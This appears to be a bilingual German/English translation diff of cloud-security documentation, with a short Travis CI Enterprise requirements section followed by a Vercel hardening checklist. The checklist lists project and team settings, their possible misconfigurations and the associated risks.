1. TCI **Dienste** (oder TCI Core Services), verantwortlich für die Integration mit Versionskontrollsystemen, die Autorisierung von Builds, die Planung von Build-Jobs usw.
2. TCI **Worker** und Build-Umgebungsbilder (auch als OS-Bilder bezeichnet).
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
2. TCI **Worker** and build environment images (also called OS images).
**TCI Core-Dienste erfordern Folgendes:**
**TCI Core services require the following:**
1. Eine **PostgreSQL11** (oder später) Datenbank.
2. Eine Infrastruktur zur Bereitstellung eines Kubernetes-Clusters; sie kann in einem Server-Cluster oder auf einer einzelnen Maschine bereitgestellt werden, wenn erforderlich.
3. Abhängig von Ihrer Konfiguration möchten Sie möglicherweise einige der Komponenten selbst bereitstellen und konfigurieren, z. B. RabbitMQ - siehe die [Einrichtung von Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) für weitere Details.
1. A **PostgreSQL11** (or later) database.
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
**TCI Worker erfordert Folgendes:**
**TCI Worker requires the following:**
1. Eine Infrastruktur, in der ein Docker-Image, das den **Worker und ein verknüpftes Build-Image enthält, bereitgestellt werden kann**.
2. Konnektivität zu bestimmten Komponenten der Travis CI Core Services - siehe die [Einrichtung des Workers](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) für weitere Details.
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
Die Anzahl der bereitgestellten TCI Worker und Build-Umgebungs-OS-Bilder bestimmt die gesamte gleichzeitige Kapazität der Travis CI Enterprise-Bereitstellung in Ihrer Infrastruktur.
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
![](<../../images/image (199).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,436 +2,439 @@
{{#include ../banners/hacktricks-training.md}}
## Grundinformationen
## Basic Information
In Vercel ist ein **Team** die vollständige **Umgebung**, die einem Kunden gehört, und ein **Projekt** ist eine **Anwendung**.
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutzer mit **Viewer-Rollenberechtigung** oder mindestens **Projekt-Viewer-Berechtigung über die Projekte** fragen, um diese zu überprüfen (falls Sie nur die Projekte und nicht die Teamkonfiguration überprüfen müssen).
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
## Projekteinstellungen
## Project Settings
### Allgemein
### General
**Zweck:** Verwalten Sie grundlegende Projekteinstellungen wie Projektname, Framework und Build-Konfigurationen.
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Übertragung**
- **Fehlkonfiguration:** Ermöglicht die Übertragung des Projekts zu einem anderen Team
- **Risiko:** Ein Angreifer könnte das Projekt stehlen
- **Projekt löschen**
- **Fehlkonfiguration:** Ermöglicht das Löschen des Projekts
- **Risiko:** Löschen des Projekts
- **Transfer**
- **Misconfiguration:** Allows to transfer the project to another team
- **Risk:** An attacker could steal the project
- **Delete Project**
- **Misconfiguration:** Allows to delete the project
- **Risk:** Delete the prject
---
### Domains
**Zweck:** Verwalten Sie benutzerdefinierte Domains, DNS-Einstellungen und SSL-Konfigurationen.
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **DNS-Konfigurationsfehler**
- **Fehlkonfiguration:** Falsche DNS-Einträge (A, CNAME), die auf bösartige Server verweisen.
- **Risiko:** Domain-Hijacking, Verkehrsabfang und Phishing-Angriffe.
- **SSL/TLS-Zertifikatsverwaltung**
- **Fehlkonfiguration:** Verwendung schwacher oder abgelaufener SSL/TLS-Zertifikate.
- **Risiko:** Anfällig für Man-in-the-Middle (MITM)-Angriffe, die die Datenintegrität und Vertraulichkeit gefährden.
- **DNSSEC-Implementierung**
- **Fehlkonfiguration:** DNSSEC nicht aktiviert oder falsche DNSSEC-Einstellungen.
- **Risiko:** Erhöhte Anfälligkeit für DNS-Spoofing und Cache-Poisoning-Angriffe.
- **Umgebung pro Domain verwenden**
- **Fehlkonfiguration:** Ändern der in der Produktion verwendeten Umgebung durch die Domain.
- **Risiko:** Potenzielle Geheimnisse oder Funktionen offenlegen, die in der Produktion nicht verfügbar sein sollten.
- **DNS Configuration Errors**
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
- **SSL/TLS Certificate Management**
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
- **DNSSEC Implementation**
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
- **Environment used per domain**
- **Misconfiguration:** Change the environment used by the domain in production.
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
---
### Umgebungen
### Environments
**Zweck:** Definieren Sie verschiedene Umgebungen (Entwicklung, Vorschau, Produktion) mit spezifischen Einstellungen und Variablen.
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Umgebungsisolierung**
- **Fehlkonfiguration:** Teilen von Umgebungsvariablen zwischen Umgebungen.
- **Risiko:** Leckage von Produktionsgeheimnissen in Entwicklungs- oder Vorschauumgebungen, was die Exposition erhöht.
- **Zugriff auf sensible Umgebungen**
- **Fehlkonfiguration:** Gewährung eines breiten Zugriffs auf Produktionsumgebungen.
- **Risiko:** Unbefugte Änderungen oder Zugriff auf Live-Anwendungen, was zu potenziellen Ausfallzeiten oder Datenverletzungen führen kann.
- **Environment Isolation**
- **Misconfiguration:** Sharing environment variables across environments.
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
- **Access to Sensitive Environments**
- **Misconfiguration:** Allowing broad access to production environments.
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
---
### Umgebungsvariablen
### Environment Variables
**Zweck:** Verwalten Sie umgebungsspezifische Variablen und Geheimnisse, die von der Anwendung verwendet werden.
**Purpose:** Manage environment-specific variables and secrets used by the application.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Sensible Variablen offenlegen**
- **Fehlkonfiguration:** Präfixierung sensibler Variablen mit `NEXT_PUBLIC_`, wodurch sie auf der Client-Seite zugänglich werden.
- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten für die Öffentlichkeit, was zu Datenverletzungen führt.
- **Sensible deaktiviert**
- **Fehlkonfiguration:** Wenn deaktiviert (Standard) ist es möglich, die Werte der generierten Geheimnisse zu lesen.
- **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.
- **Geteilte Umgebungsvariablen**
- **Fehlkonfiguration:** Dies sind Umgebungsvariablen, die auf Teamebene festgelegt sind und ebenfalls sensible Informationen enthalten könnten.
- **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **Shared Environment Variables**
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
---
### Git
**Zweck:** Konfigurieren Sie Git-Repository-Integrationen, Branch-Schutz und Bereitstellungsauslöser.
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Ignorierter Build-Schritt (TODO)**
- **Fehlkonfiguration:** Es scheint, dass diese Option es ermöglicht, ein Bash-Skript/Befehle zu konfigurieren, die ausgeführt werden, wenn ein neuer Commit in Github gepusht wird, was RCE ermöglichen könnte.
- **Risiko:** TBD
- **Ignored Build Step (TODO)**
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- **Risk:** TBD
---
### Integrationen
### Integrations
**Zweck:** Verbinden Sie Drittanbieterdienste und -tools, um die Projektfunktionen zu verbessern.
**Purpose:** Connect third-party services and tools to enhance project functionalities.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Unsichere Drittanbieter-Integrationen**
- **Fehlkonfiguration:** Integration mit untrusted oder unsicheren Drittanbieterdiensten.
- **Risiko:** Einführung von Schwachstellen, Datenlecks oder Hintertüren durch kompromittierte Integrationen.
- **Überberechtigte Integrationen**
- **Fehlkonfiguration:** Gewährung übermäßiger Berechtigungen an integrierte Dienste.
- **Risiko:** Unbefugter Zugriff auf Projektressourcen, Datenmanipulation oder Dienstunterbrechungen.
- **Mangelnde Integrationsüberwachung**
- **Fehlkonfiguration:** Versäumnis, Drittanbieter-Integrationen zu überwachen und zu prüfen.
- **Risiko:** Verzögerte Erkennung kompromittierter Integrationen, was die potenziellen Auswirkungen von Sicherheitsverletzungen erhöht.
- **Insecure Third-Party Integrations**
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
- **Over-Permissioned Integrations**
- **Misconfiguration:** Granting excessive permissions to integrated services.
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
- **Lack of Integration Monitoring**
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
---
### Bereitstellungsschutz
### Deployment Protection
**Zweck:** Sichern Sie Bereitstellungen durch verschiedene Schutzmechanismen und steuern Sie, wer auf Ihre Umgebungen zugreifen und bereitstellen kann.
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
#### Sicherheitskonfigurationen:
#### Security Configurations:
**Vercel-Authentifizierung**
**Vercel Authentication**
- **Fehlkonfiguration:** Deaktivierung der Authentifizierung oder keine Durchsetzung von Teammitgliedprüfungen.
- **Risiko:** Unbefugte Benutzer können auf Bereitstellungen zugreifen, was zu Datenverletzungen oder Missbrauch der Anwendung führt.
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
**Schutzumgehung für Automatisierung**
**Protection Bypass for Automation**
- **Fehlkonfiguration:** Öffentliches Offenlegen des Umgehungsgeheimnisses oder Verwendung schwacher Geheimnisse.
- **Risiko:** Angreifer können Bereitstellungsschutzmaßnahmen umgehen und auf geschützte Bereitstellungen zugreifen und diese manipulieren.
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
**Teilen von Links**
**Shareable Links**
- **Fehlkonfiguration:** Teilen von Links ohne Einschränkungen oder Versäumnis, veraltete Links zu widerrufen.
- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, Umgehung von Authentifizierung und IP-Beschränkungen.
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
**OPTIONS-Whitelist**
**OPTIONS Allowlist**
- **Fehlkonfiguration:** Zu breite Pfade oder sensible Endpunkte auf die Whitelist setzen.
- **Risiko:** Angreifer können ungeschützte Pfade ausnutzen, um unbefugte Aktionen durchzuführen oder Sicherheitsprüfungen zu umgehen.
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
**Passwortschutz**
**Password Protection**
- **Fehlkonfiguration:** Verwendung schwacher Passwörter oder unsichere Weitergabe.
- **Risiko:** Unbefugter Zugriff auf Bereitstellungen, wenn Passwörter erraten oder geleakt werden.
- **Hinweis:** Verfügbar im **Pro**-Plan als Teil des **Erweiterten Bereitstellungsschutzes** für zusätzlich 150 $/Monat.
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
**Ausnahmen beim Bereitstellungsschutz**
**Deployment Protection Exceptions**
- **Fehlkonfiguration:** Unabsichtliches Hinzufügen von Produktions- oder sensiblen Domains zur Ausnahmeliste.
- **Risiko:** Offenlegung kritischer Bereitstellungen für die Öffentlichkeit, was zu Datenlecks oder unbefugtem Zugriff führt.
- **Hinweis:** Verfügbar im **Pro**-Plan als Teil des **Erweiterten Bereitstellungsschutzes** für zusätzlich 150 $/Monat.
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
**Vertrauenswürdige IPs**
**Trusted IPs**
- **Fehlkonfiguration:** Falsche Angabe von IP-Adressen oder CIDR-Bereichen.
- **Risiko:** Legitime Benutzer werden blockiert oder unbefugte IPs erhalten Zugriff.
- **Hinweis:** Verfügbar im **Enterprise**-Plan.
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
- **Note:** Available on the **Enterprise** plan.
---
### Funktionen
### Functions
**Zweck:** Konfigurieren Sie serverlose Funktionen, einschließlich Laufzeiteinstellungen, Speicherzuweisung und Sicherheitsrichtlinien.
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Nichts**
- **Nothing**
---
### Daten-Cache
### Data Cache
**Zweck:** Verwalten Sie Caching-Strategien und -Einstellungen, um die Leistung zu optimieren und die Datenspeicherung zu steuern.
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Cache leeren**
- **Fehlkonfiguration:** Es ermöglicht das Löschen des gesamten Caches.
- **Risiko:** Unbefugte Benutzer löschen den Cache, was zu einem potenziellen DoS führen kann.
- **Purge Cache**
- **Misconfiguration:** It allows to delete all the cache.
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
---
### Cron-Jobs
### Cron Jobs
**Zweck:** Planen Sie automatisierte Aufgaben und Skripte, die in festgelegten Intervallen ausgeführt werden.
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Cron-Job deaktivieren**
- **Fehlkonfiguration:** Es ermöglicht das Deaktivieren von Cron-Jobs, die im Code deklariert sind.
- **Risiko:** Potenzielle Unterbrechung des Dienstes (je nachdem, wofür die Cron-Jobs gedacht waren).
- **Disable Cron Job**
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
---
### Log Drains
**Zweck:** Konfigurieren Sie externe Protokollierungsdienste, um Anwendungsprotokolle zur Überwachung und Prüfung zu erfassen und zu speichern.
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
#### Sicherheitskonfigurationen:
#### Security Configurations:
- Nichts (wird aus den Teameinstellungen verwaltet)
- Nothing (managed from teams settings)
---
### Sicherheit
### Security
**Zweck:** Zentrale Anlaufstelle für verschiedene sicherheitsrelevante Einstellungen, die den Projektzugriff, den Quellschutz und mehr betreffen.
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
#### Sicherheitskonfigurationen:
#### Security Configurations:
**Build-Protokolle und Quellschutz**
**Build Logs and Source Protection**
- **Fehlkonfiguration:** Deaktivierung des Schutzes oder öffentliche Offenlegung der Pfade `/logs` und `/src`.
- **Risiko:** Unbefugter Zugriff auf Build-Protokolle und Quellcode, was zu Informationslecks und potenzieller Ausnutzung von Schwachstellen führt.
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
**Git-Fork-Schutz**
**Git Fork Protection**
- **Fehlkonfiguration:** Zulassung unbefugter Pull-Requests ohne ordnungsgemäße Überprüfungen.
- **Risiko:** Bösartiger Code kann in den Code integriert werden, was Schwachstellen oder Hintertüren einführt.
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
**Sichere Backend-Zugriffe mit OIDC-Föderation**
**Secure Backend Access with OIDC Federation**
- **Fehlkonfiguration:** Falsche Einrichtung von OIDC-Parametern oder Verwendung unsicherer Aussteller-URLs.
- **Risiko:** Unbefugter Zugriff auf Backend-Dienste durch fehlerhafte Authentifizierungsflüsse.
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
**Bereitstellungsaufbewahrungsrichtlinie**
**Deployment Retention Policy**
- **Fehlkonfiguration:** Festlegung von Aufbewahrungsfristen, die zu kurz sind (Verlust der Bereitstellungshistorie) oder zu lang (unnötige Datenaufbewahrung).
- **Risiko:** Unfähigkeit, bei Bedarf Rollbacks durchzuführen, oder erhöhtes Risiko der Datenexposition durch alte Bereitstellungen.
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
**Kürzlich gelöschte Bereitstellungen**
**Recently Deleted Deployments**
- **Fehlkonfiguration:** Keine Überwachung gelöschter Bereitstellungen oder ausschließlich auf automatisierte Löschungen verlassen.
- **Risiko:** Verlust kritischer Bereitstellungshistorie, was Prüfungen und Rollbacks erschwert.
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
---
### Erweitert
### Advanced
**Zweck:** Zugriff auf zusätzliche Projekteinstellungen zur Feinabstimmung von Konfigurationen und zur Verbesserung der Sicherheit.
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
#### Sicherheitskonfigurationen:
#### Security Configurations:
**Verzeichnisauflistung**
**Directory Listing**
- **Fehlkonfiguration:** Aktivierung der Verzeichnisauflistung ermöglicht es Benutzern, den Inhalt von Verzeichnissen ohne Indexdatei anzuzeigen.
- **Risiko:** Offenlegung sensibler Dateien, Anwendungsstruktur und potenzieller Einstiegspunkte für Angriffe.
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
---
## Projektfirewall
## Project Firewall
### Firewall
#### Sicherheitskonfigurationen:
#### Security Configurations:
**Angriffsherausforderungsmodus aktivieren**
**Enable Attack Challenge Mode**
- **Fehlkonfiguration:** Aktivierung verbessert die Verteidigung der Webanwendung gegen DoS, jedoch auf Kosten der Benutzerfreundlichkeit.
- **Risiko:** Potenzielle Probleme mit der Benutzererfahrung.
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
- **Risk:** Potential user experience problems.
### Benutzerdefinierte Regeln & IP-Blockierung
### Custom Rules & IP Blocking
- **Fehlkonfiguration:** Ermöglicht das Entsperren/Blockieren von Verkehr.
- **Risiko:** Potenzieller DoS, der bösartigen Verkehr zulässt oder legitimen Verkehr blockiert.
- **Misconfiguration:** Allows to unblock/block traffic
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
---
## Projektbereitstellung
## Project Deployment
### Quelle
### Source
- **Fehlkonfiguration:** Ermöglicht den Zugriff auf den vollständigen Quellcode der Anwendung.
- **Risiko:** Potenzielle Offenlegung sensibler Informationen.
- **Misconfiguration:** Allows access to read the complete source code of the application
- **Risk:** Potential exposure of sensitive information
### Skew-Schutz
### Skew Protection
- **Fehlkonfiguration:** Dieser Schutz stellt sicher, dass die Client- und Serveranwendung immer dieselbe Version verwenden, sodass es keine Desynchronisation gibt, bei der der Client eine andere Version als der Server verwendet und sie sich daher nicht verstehen.
- **Risiko:** Deaktivierung dieses (wenn aktiviert) könnte in zukünftigen Bereitstellungen DoS-Probleme verursachen.
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
---
## Teameinstellungen
## Team Settings
### Allgemein
### General
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Übertragung**
- **Fehlkonfiguration:** Ermöglicht die Übertragung aller Projekte zu einem anderen Team.
- **Risiko:** Ein Angreifer könnte die Projekte stehlen.
- **Projekt löschen**
- **Fehlkonfiguration:** Ermöglicht das Löschen des Teams mit allen Projekten.
- **Risiko:** Löschen der Projekte.
- **Transfer**
- **Misconfiguration:** Allows to transfer all the projects to another team
- **Risk:** An attacker could steal the projects
- **Delete Project**
- **Misconfiguration:** Allows to delete the team with all the projects
- **Risk:** Delete the projects
---
### Abrechnung
### Billing
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Speed Insights Kostenlimit**
- **Fehlkonfiguration:** Ein Angreifer könnte diese Zahl erhöhen.
- **Risiko:** Erhöhte Kosten.
- **Speed Insights Cost Limit**
- **Misconfiguration:** An attacker could increase this number
- **Risk:** Increased costs
---
### Mitglieder
### Members
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Mitglieder hinzufügen**
- **Fehlkonfiguration:** Ein Angreifer könnte Persistenz aufrechterhalten, indem er ein Konto einlädt, das er kontrolliert.
- **Risiko:** Persistenz des Angreifers.
- **Rollen**
- **Fehlkonfiguration:** Gewährung zu vieler Berechtigungen an Personen, die sie nicht benötigen, erhöht das Risiko der Vercel-Konfiguration. Überprüfen Sie alle möglichen Rollen in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
- **Risiko:** Erhöhte Exposition des Vercel-Teams.
- **Add members**
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- **Risk:** Attacker persistence
- **Roles**
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Risk**: Increate the exposure of the Vercel Team
---
### Zugriffgruppen
### Access Groups
Eine **Zugriffsgruppe** in Vercel ist eine Sammlung von Projekten und Teammitgliedern mit vordefinierten Rollenzuweisungen, die eine zentralisierte und optimierte Zugriffsverwaltung über mehrere Projekte hinweg ermöglichen.
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
**Potenzielle Fehlkonfigurationen:**
**Potential Misconfigurations:**
- **Überberechtigung von Mitgliedern:** Zuweisung von Rollen mit mehr Berechtigungen als notwendig, was zu unbefugtem Zugriff oder Aktionen führt.
- **Unangemessene Rollenzuweisungen:** Falsche Zuweisung von Rollen, die nicht mit den Verantwortlichkeiten der Teammitglieder übereinstimmen, was zu einer Privilegieneskalation führt.
- **Mangelnde Projekttrennung:** Versäumnis, sensible Projekte zu trennen, was einen breiteren Zugriff als beabsichtigt ermöglicht.
- **Unzureichendes Gruppenmanagement:** Nicht regelmäßiges Überprüfen oder Aktualisieren von Zugriffgruppen, was zu veralteten oder unangemessenen Zugriffsberechtigungen führt.
- **Inkonsistente Rollendefinitionen:** Verwendung inkonsistenter oder unklarer Rollendefinitionen in verschiedenen Zugriffgruppen, was zu Verwirrung und Sicherheitslücken führt.
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
---
### Log Drains
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Log Drains zu Drittanbietern:**
- **Fehlkonfiguration:** Ein Angreifer könnte einen Log Drain konfigurieren, um die Protokolle zu stehlen.
- **Risiko:** Teilweise Persistenz.
- **Log Drains to third parties:**
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- **Risk:** Partial persistence
---
### Sicherheit & Datenschutz
### Security & Privacy
#### Sicherheitskonfigurationen:
#### Security Configurations:
- **Team-E-Mail-Domain:** Bei der Konfiguration lädt diese Einstellung automatisch Vercel-Persönliche Konten mit E-Mail-Adressen, die auf die angegebene Domain enden (z. B. `mydomain.com`), ein, Ihrem Team bei der Anmeldung und im Dashboard beizutreten.
- **Fehlkonfiguration:**
- Falsche E-Mail-Domain oder falsch geschriebene Domain in der Team-E-Mail-Domain-Einstellung angeben.
- Verwendung einer gängigen E-Mail-Domain (z. B. `gmail.com`, `hotmail.com`) anstelle einer unternehmensspezifischen Domain.
- **Risiken:**
- **Unbefugter Zugriff:** Benutzer mit E-Mail-Adressen von unbeabsichtigten Domains könnten Einladungen erhalten, Ihrem Team beizutreten.
- **Datenexposition:** Potenzielle Offenlegung sensibler Projektinformationen an unbefugte Personen.
- **Geschützte Git-Scopes:** Ermöglicht Ihnen, bis zu 5 Git-Scopes zu Ihrem Team hinzuzufügen, um zu verhindern, dass andere Vercel-Teams Repositories aus dem geschützten Scope bereitstellen. Mehrere Teams können denselben Scope angeben, was beiden Teams den Zugriff ermöglicht.
- **Fehlkonfiguration:** Kritische Git-Scopes nicht zur geschützten Liste hinzufügen.
- **Risiken:**
- **Unbefugte Bereitstellungen:** Andere Teams könnten Repositories aus den Git-Scopes Ihrer Organisation ohne Genehmigung bereitstellen.
- **Offenlegung von geistigem Eigentum:** Proprietärer Code könnte außerhalb Ihres Teams bereitgestellt und abgerufen werden.
- **Richtlinien für Umgebungsvariablen:** Erzwingt Richtlinien für die Erstellung und Bearbeitung der Umgebungsvariablen des Teams. Insbesondere können Sie durchsetzen, dass alle Umgebungsvariablen als **sensible Umgebungsvariablen** erstellt werden, die nur vom Bereitstellungssystem von Vercel entschlüsselt werden können.
- **Fehlkonfiguration:** Beibehaltung der Deaktivierung der Durchsetzung sensibler Umgebungsvariablen.
- **Risiken:**
- **Offenlegung von Geheimnissen:** Umgebungsvariablen könnten von unbefugten Teammitgliedern eingesehen oder bearbeitet werden.
- **Datenverletzung:** Sensible Informationen wie API-Schlüssel und Anmeldeinformationen könnten geleakt werden.
- **Audit-Protokoll:** Bietet einen Export der Aktivitäten des Teams für bis zu 90 Tage. Audit-Protokolle helfen bei der Überwachung und Verfolgung von Aktionen, die von Teammitgliedern durchgeführt werden.
- **Fehlkonfiguration:**\
Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder.
- **Risiken:**
- **Datenschutzverletzungen:** Offenlegung sensibler Benutzeraktivitäten und -daten.
- **Manipulation von Protokollen:** Böswillige Akteure könnten Protokolle ändern oder löschen, um ihre Spuren zu verwischen.
- **SAML Single Sign-On:** Ermöglicht die Anpassung der SAML-Authentifizierung und der Verzeichnis-Synchronisierung für Ihr Team, wodurch die Integration mit einem Identitätsanbieter (IdP) für zentralisierte Authentifizierung und Benutzerverwaltung ermöglicht wird.
- **Fehlkonfiguration:** Ein Angreifer könnte die Teamkonfiguration durch das Einrichten von SAML-Parametern wie Entity ID, SSO-URL oder Zertifikat-Fingerabdrücken zurückdooren.
- **Risiko:** Persistenz aufrechterhalten.
- **Sichtbarkeit der IP-Adresse:** Steuert, ob IP-Adressen, die unter bestimmten Datenschutzgesetzen als persönliche Informationen gelten könnten, in Überwachungsabfragen und Log Drains angezeigt werden.
- **Fehlkonfiguration:** Sichtbarkeit der IP-Adresse ohne Notwendigkeit aktiviert lassen.
- **Risiken:**
- **Datenschutzverletzungen:** Nichteinhaltung von Datenschutzvorschriften wie GDPR.
- **Rechtliche Konsequenzen:** Potenzielle Geldstrafen und Strafen für den unsachgemäßen Umgang mit persönlichen Daten.
- **IP-Blockierung:** Ermöglicht die Konfiguration von IP-Adressen und CIDR-Bereichen, von denen Vercel Anfragen blockieren sollte. Blockierte Anfragen tragen nicht zu Ihrer Abrechnung bei.
- **Fehlkonfiguration:** Könnte von einem Angreifer missbraucht werden, um bösartigen Verkehr zuzulassen oder legitimen Verkehr zu blockieren.
- **Risiken:**
- **Dienstverweigerung für legitime Benutzer:** Blockierung des Zugriffs für gültige Benutzer oder Partner.
- **Betriebliche Störungen:** Verlust der Dienstverfügbarkeit für bestimmte Regionen oder Kunden.
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- **Misconfiguration:**
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- **Risks:**
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
